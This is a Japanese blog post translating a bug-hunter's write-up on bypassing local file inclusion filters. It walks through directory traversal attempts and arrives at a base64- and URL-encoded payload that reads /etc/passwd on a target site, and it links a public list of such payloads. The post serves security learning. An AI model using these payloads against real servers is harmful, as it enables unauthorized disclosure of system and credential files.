Shikata Ga Nai

Private? There is no such things.

Bypassing LFI (Local File Inclusion)を訳してみた

Hello there, ('ω')ノ

 

LFIのバイパス(ローカルファイルインクルード)を。

 

脆弱性:

 LFI

 

記事:

 https://medium.com/@abhishake21/bypassing-lfi-local-file-inclusion-ebf4274e7027

 

LFI(Local File Inclusion)を使用すると、

攻撃者はターゲットサーバ上のファイルを公開できるので。

ディレクトリトラバーサル(../)の助けを借りて。

ユーザがアクセスできないはずのファイルにアクセスできて。

 

例えば、下記によってindex.htmlが返されます。

 https://example.com/redirect.php?page=/home/index.html

 

下記によって、passwdファイルが返されます。

 https://example.com/redirect.php?page=../../../etc/passwd

 

今回のURLは、下記のとおりで。

 www.target.com/rd?page=/change/lmtstats.html

 

まずは、pageパラメータでディレクトリトラバーサルを試すことに。

下記が、ペイロードのリストで。

 

https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/master/LFI%20payloads.txt

 

f:id:ThisIsOne:20210806164424p:plain

 

下記のペイロードは、ほとんどの場合機能するものの。

 ../../../etc/passwd

 

../)を膨大に追加する可能性があって。

../)を20個追加したとしてもブロックされる可能性もあって。

 

今回、(../)を7回追加する必要があったものの。

ペイロードの最後に.htmlが含まれていて。

 

f:id:ThisIsOne:20210806163824p:plain

 

ファイルタイプをtxt、pngなどに変更してもうまくいかず。

 

f:id:ThisIsOne:20210806163849p:plain

 

NullByte(%00)をペイロードの最後に追加しても結果は同じで。

 etc/passwd%00

 

f:id:ThisIsOne:20210806163909p:plain

 

さまざまな手法とエンコードを試した後、最終的なペイロードは下記のとおりで。

 www.target.com/rd?page=Li4lMkYuLiUyRi4uJTJGLi4lMkYuLiUyRi4uJTJGLi4lMkZldGMuLiUyRnBhc3N3ZC4uJTJGMDAudHh0Ly8uJTAw

 

上記は、下記をbase64でエンコードされたペイロードで。

 ..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc..%2Fpasswd..%2F00.txt//.%00

 ⇩さらに

 ../../../../../../../etc../passwd../00.txt//.

 

f:id:ThisIsOne:20210806171543p:plain

 

ようやく、passwdファイルにアクセスできるようになって。

 

f:id:ThisIsOne:20210806163936p:plain

 

Best regards, (^^ゞ